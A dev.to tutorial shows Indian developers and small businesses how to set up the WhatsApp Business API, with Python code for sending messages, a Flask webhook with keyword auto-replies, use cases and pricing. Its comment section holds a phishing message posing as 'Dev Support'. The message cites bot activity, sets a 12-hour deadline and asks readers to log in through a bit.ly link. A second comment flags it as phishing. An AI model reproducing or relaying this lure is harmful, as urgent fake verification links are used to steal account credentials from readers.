Getting Started with the WhatsApp Business API: A Complete Guide for Developers
Published on: dev.to
Reading time: 8 minutes
Target audience: Indian developers and SMB owners looking to automate WhatsApp communication
Introduction
With over 500 million users in India, WhatsApp has become the de facto communication channel for businesses. From coaching institutes sending class updates to D2C brands confirming orders, WhatsApp is where Indian customers are.
But here's the problem: most businesses are still handling WhatsApp manually. They're copying and pasting messages, missing customer queries, and losing leads because they can't respond fast enough.
The WhatsApp Business API solves this. It lets you programmatically send and receive messages, build chatbots, and automate your entire WhatsApp workflow.
In this guide, I'll walk you through everything you need to know to get started — from setting up your account to sending your first automated message.
What You'll Need
Before we dive in, make sure you have:
- A Facebook Business Manager account — This is free and required to access the WhatsApp Business API
- A phone number — This will be your WhatsApp Business number (can be a landline or mobile)
- A verified business — Meta requires business verification for API access
- A server or cloud function — To handle webhooks and send/receive messages
Step 1: Set Up Your Facebook Business Manager
- Go to business.facebook.com and create an account
- Add your business details (name, address, website)
- Verify your business (you'll need documents like a GST certificate or utility bill)
Pro tip for Indian businesses: If you're a sole proprietor without GST, you can still verify using your PAN card and a bank statement. The process takes 1-3 business days.
Step 2: Create a WhatsApp Business Account
- In Business Manager, go to Accounts → WhatsApp Accounts
- Click Add Account and follow the prompts
- Add your phone number and verify it via OTP
- Choose your business category and description
Step 3: Get Your API Credentials
Once your account is set up, you'll need:
- Phone Number ID — Found in the WhatsApp Manager dashboard
- Business Account ID — Also in the dashboard
- Access Token — Generate this in the API Settings section
These three pieces of information are all you need to start making API calls.
Step 4: Send Your First Message
Here's a simple Python example using the requests library:
import requests
import json
# Your credentials
PHONE_NUMBER_ID = "your_phone_number_id"
ACCESS_TOKEN = "your_access_token"
RECIPIENT_NUMBER = "91XXXXXXXXXX" # Customer's number with country code
# API endpoint
url = f"https://graph.facebook.com/v18.0/{PHONE_NUMBER_ID}/messages"
# Message payload
payload = {
"messaging_product": "whatsapp",
"to": RECIPIENT_NUMBER,
"type": "text",
"text": {
"body": "Hello! This is an automated message from our business. How can we help you today?"
}
}
# Headers
headers = {
"Authorization": f"Bearer {ACCESS_TOKEN}",
"Content-Type": "application/json"
}
# Send the request
response = requests.post(url, headers=headers, data=json.dumps(payload))
print(response.json())
If everything is set up correctly, you'll receive a JSON response with a message ID, and the recipient will get your message within seconds.
Step 5: Set Up Webhooks for Incoming Messages
Sending messages is only half the equation. To build a chatbot, you need to receive and respond to incoming messages.
Here's a simple Flask webhook handler:
from flask import Flask, request, jsonify
import requests
app = Flask(__name__)
# Meta verification
VERIFY_TOKEN = "your_verify_token"
@app.route("/webhook", methods=["GET"])
def verify_webhook():
mode = request.args.get("hub.mode")
token = request.args.get("hub.verify_token")
challenge = request.args.get("hub.challenge")
if mode == "subscribe" and token == VERIFY_TOKEN:
return challenge, 200
return "Forbidden", 403
@app.route("/webhook", methods=["POST"])
def handle_message():
data = request.get_json()
# Extract message details
entry = data["entry"][0]
changes = entry["changes"][0]
value = changes["value"]
if "messages" in value:
message = value["messages"][0]
sender = message["from"]
text = message["text"]["body"]
# Simple auto-reply logic
reply = generate_reply(text)
send_message(sender, reply)
return jsonify({"status": "ok"}), 200
def generate_reply(text):
text_lower = text.lower()
if "price" in text_lower or "cost" in text_lower:
return "Our pricing starts at ₹499/month. Would you like to schedule a demo?"
elif "hello" in text_lower or "hi" in text_lower:
return "Hello! How can I help you today?"
else:
return "Thanks for your message! We'll get back to you shortly."
def send_message(to, text):
# Same API call as Step 4
pass
if __name__ == "__main__":
app.run(port=5000)
Common Use Cases for Indian Businesses
1. Coaching Institutes
- Automated class schedule reminders
- Fee payment reminders
- Student query handling
- Admission funnel automation
2. D2C Brands
- Order confirmation via WhatsApp
- COD (Cash on Delivery) verification
- Shipping updates
- Review collection
3. Clinics & Healthcare
- Appointment booking and reminders
- Prescription delivery updates
- Follow-up care instructions
- Emergency contact routing
Pricing: What Does It Cost?
Meta charges per message in India:
| Message Type | Cost (INR) |
|---|---|
| Marketing | ₹0.125 - ₹0.25 |
| Utility | ₹0.08 - ₹0.15 |
| Authentication | ₹0.10 - ₹0.20 |
| Service (user-initiated) | ₹0.05 - ₹0.10 |
The first 1,000 conversations per month are free. After that, you pay per conversation (not per message).
Note: A "conversation" is a 24-hour window of messages between you and a customer. You can send unlimited messages within that window for one charge.
Next Steps
Now that you understand the basics, here's what I recommend:
- Start small — Pick one use case (e.g., order confirmation) and build it well
- Use a BSP — If you don't want to manage infrastructure, use a Business Solution Provider like WATI, Interakt, or AiSensy
- Build a chatbot — Once you have the basics working, add natural language processing for smarter responses
- Scale gradually — Add more use cases as you get comfortable
Conclusion
The WhatsApp Business API is a powerful tool for Indian businesses. Whether you're a coaching institute, D2C brand, or clinic, automating WhatsApp can save you hours every week and improve customer satisfaction.
If you need help setting up WhatsApp automation for your business, feel free to reach out. I specialize in building custom WhatsApp workflows for Indian SMBs.
About the author: I'm a developer and technical writer based in India. I help businesses automate their communication and write technical content for developer platforms. Connect with me on dev.to or GitHub.
Top comments (2)
Dear User,
Due to an increase in bot activity on the platform, we require verify of your account.
Please log in via the link below:
• bit.ly/antibot_check
Verificated deadline - 12 hours. Failure to verify will result in restricted access.
Sincerely, Dev Support
Do not follow any external links! DEV.to uses Sloan for automated messages, this is likely phishing.